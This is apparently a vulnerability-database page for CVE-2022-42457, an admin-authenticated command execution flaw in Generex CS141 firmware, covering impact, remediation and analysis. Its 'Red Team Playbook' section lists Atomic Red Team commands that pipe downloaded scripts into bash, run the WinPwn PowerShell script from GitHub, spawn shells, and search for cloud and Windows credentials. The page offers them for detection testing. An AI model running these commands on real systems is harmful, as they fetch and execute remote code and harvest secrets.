CVE-2022-42457
Overview
This vulnerability is a remote command execution flaw resulting from insufficient input validation in the Generex CS141 firmware's update mechanism. Specifically, the web interface accessible to administrators invokes the run_update function within the /usr/bin/gxserve-update.sh script without properly sanitizing inputs. This allows crafted commands to be executed at the system level through the update process, affecting the firmware's update handling component.
Vulnerability Description
Generex CS141 through 2.10 allows remote command execution by administrators via a web interface that reaches run_update in /usr/bin/gxserve-update.sh (e.g., command execution can occur via a reverse shell installed by install.sh).
Impact
An attacker with administrator-level access to the web interface can execute arbitrary system commands remotely, enabling full control over the affected device. This includes installing persistent backdoors or manipulating device functionality. The prerequisite is authenticated administrative access (PR:H) with network access to the device's management interface (AV:N). The vulnerability allows complete compromise of confidentiality, integrity, and availability, as indicated by the CVSS vector (C:H/I:H/A:H).
Solution
Generex recommends updating the CS141 firmware to a version later than 2.10 where this issue is addressed. Administrators should consult the official Generex support downloads page (https://www.generex.de/support/downloads/ups/cs141) for the latest firmware releases and installation instructions. No specific advisory ID is provided, but the vendor's product page (https://www.generex.de/products/ups/) contains relevant update information. Applying the latest firmware update is the primary remediation step.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Generex CS141 firmware presents a significant risk due to its ability to allow remote command execution through the web interface. This flaw arises from improper handling of commands within the script located at /usr/bin/gxserve-update.sh. Specifically, the issue lies in the execution of the run_update function, which can be manipulated by an authenticated administrator. The nature of this vulnerability indicates that an attacker with administrative access can execute arbitrary commands on the underlying system, potentially leading to severe consequences. The presence of a reverse shell capability through the install.sh script further amplifies the risk, as it enables attackers to maintain persistent access to the compromised system.
Attack vectors for exploiting this vulnerability primarily revolve around the web interface used for administrative tasks. An attacker could gain access to the administrative panel through various means, such as credential theft, phishing, or exploiting weak passwords. Once inside, the attacker can invoke the vulnerable run_update function, allowing them to execute arbitrary commands. Scenarios may include deploying malware, exfiltrating sensitive data, or establishing a foothold within the network for further attacks. Additionally, if the attacker has knowledge of the system's architecture, they could leverage this vulnerability to pivot to other critical systems within the organization, thereby escalating the overall impact of the breach.
The real-world implications of this vulnerability are profound, particularly for organizations relying on the Generex CS141 firmware for their operations. The ability to execute arbitrary commands remotely can lead to unauthorized access to sensitive data, disruption of services, and potential financial losses. Businesses may face regulatory repercussions if customer data is compromised, leading to reputational damage and loss of customer trust. Furthermore, the exploitation of this vulnerability could serve as a launchpad for more extensive attacks, increasing the overall business risk and potentially affecting the organization's operational continuity.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-layered security approach. Regular audits of the web interface and administrative access logs can help identify unauthorized access attempts. Employing intrusion detection systems (IDS) that monitor for unusual command executions or network traffic can also provide early warning signs of exploitation. Additionally, organizations should enforce strict access controls, ensuring that only trusted personnel have administrative privileges. Updating the firmware to the latest version that addresses this vulnerability is crucial, as is implementing security best practices such as strong password policies and multi-factor authentication to reduce the likelihood of unauthorized access.
In conclusion, the vulnerability within the Generex CS141 firmware poses a significant threat to organizations due to its potential for remote command execution. The exploitation of this flaw can lead to severe operational and reputational damage, making it imperative for organizations to adopt proactive detection and mitigation strategies. By prioritizing security measures and maintaining awareness of emerging threats, organizations can better protect themselves from the risks associated with this vulnerability and ensure the integrity of their systems.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Generex | Cs141 Firmware | All |
cpe:2.3:o:generex:cs141_firmware:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (6)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-42457 |
| github.com |
GitHub CVE
|
https://github.com/hubertfarnsworth12/Generex-CS141-Authenticated-Remote-Command-Execution |
| generex.de |
GitHub CVE
|
https://www.generex.de/products/ups/ |
| generex.de |
GitHub CVE
|
https://www.generex.de/support/downloads/ups/cs141 |
| generex.de |
GitHub CVE
|
https://www.generex.de/support/downloads/ups/cs141/update |
| github.dev |
GitHub CVE
|
https://github.dev/hubertfarnsworth12/Generex-CS141-Authenticated-Remote-Command-Execution |